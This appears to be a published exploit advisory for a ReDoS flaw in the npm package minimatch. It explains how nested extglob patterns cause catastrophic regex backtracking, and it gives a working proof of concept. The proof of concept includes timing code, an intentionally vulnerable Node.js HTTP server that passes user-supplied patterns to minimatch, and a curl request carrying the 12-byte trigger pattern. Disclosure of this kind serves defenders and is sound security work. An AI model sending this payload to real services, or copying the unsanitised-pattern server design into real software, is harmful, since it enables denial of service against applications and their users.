============================================================================================================================================= | # Title : minimatch ReDoS Leading to Event Loop | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.npmjs.com/package/minimatch | ============================================================================================================================================= [+] Summary : A critical Regular Expression Denial of Service (ReDoS) vulnerability exists in minimatch prior to versions: 10.2.3 9.0.7 8.0.6 7.4.8 6.2.2 5.1.8 4.2.5 3.1.4 The issue arises when nested *() or +() extglobs are converted into JavaScript RegExp objects containing nested unbounded quantifiers, such as: (?:(?:a|b)*)* These expressions trigger catastrophic backtracking in the V8 JavaScript engine. A minimal 12-byte pattern: *(*(*(a|b))) combined with an 18-byte non-matching input string is sufficient to cause minimatch() to stall for over 7 seconds. Slightly increasing nesting depth or input length can escalate execution time to minutes. This vulnerability is particularly severe because: It is triggered via the default minimatch() API No special options are required The minimum viable exploit pattern is only 12 bytes Both *() and +() extglobs are affected [+] POC : npm install minimatch@10.2.2 import http from 'node:http'; import { minimatch } from 'minimatch'; console.log("--- Starting ReDoS Backtracking Test ---"); const pattern = "*(*(*(a|b)))"; const testBacktracking = (n) => { const payload = "a".repeat(n) + "z"; const start = performance.now(); minimatch(payload, pattern); const end = performance.now(); console.log(`[+] Input length (a x ${n}): Took ${(end - start).toFixed(2)}ms`); }; testBacktracking(15); testBacktracking(20); testBacktracking(23); console.log("\n--- Starting Vulnerable Web Server (Port 3000) ---"); const server = http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:3000`); const userPattern = url.searchParams.get('pattern'); const userPath = url.searchParams.get('path'); if (userPattern && userPath) { console.log(`[!] Processing potentially malicious request...`); const start = Date.now(); const result = minimatch(userPath, userPattern); const duration = Date.now() - start; res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ matchResult: result, duration: `${duration}ms` })); } else { res.writeHead(200, { 'Content-Type': 'text/plain' }); res.end("Server is running. Send 'pattern' and 'path' parameters to test."); } }); server.listen(3000, () => { console.log("Server is ready! To trigger the DoS, use this curl command:"); console.log('curl "http://localhost:3000/?pattern=*(*(*(a|b)))&path=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaz"'); }); Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================